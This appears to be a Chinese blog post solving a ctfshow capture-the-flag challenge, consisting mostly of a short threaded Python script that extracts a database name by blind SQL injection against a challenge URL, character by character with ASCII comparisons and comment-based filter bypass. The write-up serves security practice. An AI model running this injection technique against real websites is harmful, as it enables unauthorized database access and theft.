Ctfshow python for test mysql

chin”

于 2021-06-06 22:46:05 发布

阅读量110

点赞数 1

分类专栏： ctfshow

本文链接：https://blog.youkuaiyun.com/qq_45427131/article/details/117638193

版权

ctfshow 专栏收录该内容

26 篇文章

订阅专栏

该篇博客展示了如何利用Python的requests库进行SQL注入攻击，尝试猜测数据库名。通过构造特定的URL，结合ASCII码进行遍历来解码数据库名的一部分。作者使用了多线程来加速这个过程，并提到后续会有更多解题方法分享。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

import threading
import requests
url1 = "http://fe9bdd81-5686-4588-a6b2-37f03fda52f3.challenge.ctf.show:8080/index.php?id=1'/**/union/**/select/**/1,"

def dataname(url):
    c=''
    for j in range(1,5):  
        for i in range(35,127):
            ur=url+"ascii(substr(database(),"+str(j)+",1))="+str(i)+",3/**/#"
            req = requests.get(ur)
            # print (req.text)
            if "<h4>1" in req.text:
                c+=chr(i)
                print (chr(i))
                break
            else:
                pass
    print (c)

t=threading.Thread(target=dataname,args=(url1,))
t.start()